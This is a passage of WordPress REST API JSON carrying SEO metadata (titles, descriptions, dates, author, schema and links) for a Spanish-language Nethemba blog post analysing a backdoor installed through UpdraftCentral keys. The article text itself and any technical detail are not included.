instal\u00f3 una puerta trasera en nuestras webs\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba","description":"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"es_ES","og_type":"article","og_title":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba","og_description":"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:05+00:00","article_modified_time":"2026-10-19T15:03:28+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Escrito por":"Pavol Lupt\u00e1k","Tiempo de lectura":"33 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs","datePublished":"2026-10-19T05:44:05+00:00","dateModified":"2026-10-19T15:03:28+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":4805,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","articleSection":["Uncategorized"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","datePublished":"2026-10-19T05:44:05+00:00","dateModified":"2026-10-19T15:03:28+00:00","description":"Un atacante us\u00f3 claves de UpdraftCentral (UpdraftPlus, m\u00e1s de 4 millones de instalaciones) para instalar una puerta trasera en WordPress. An\u00e1lisis e IOC.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-es.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/home-new-2025\/"},{"@type":"ListItem","position":2,"name":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts\/9629","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/comments?post=9629"}],"version-history":[{"count":8,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts\/9629\/revisions"}],"predecessor-version":[{"id":9670,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/posts\/9629\/revisions\/9670"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/media\/9620"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/media?parent=9629"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/categories?post=9629"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/es\/wp-json\/wp\/v2\/tags?post=9629"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}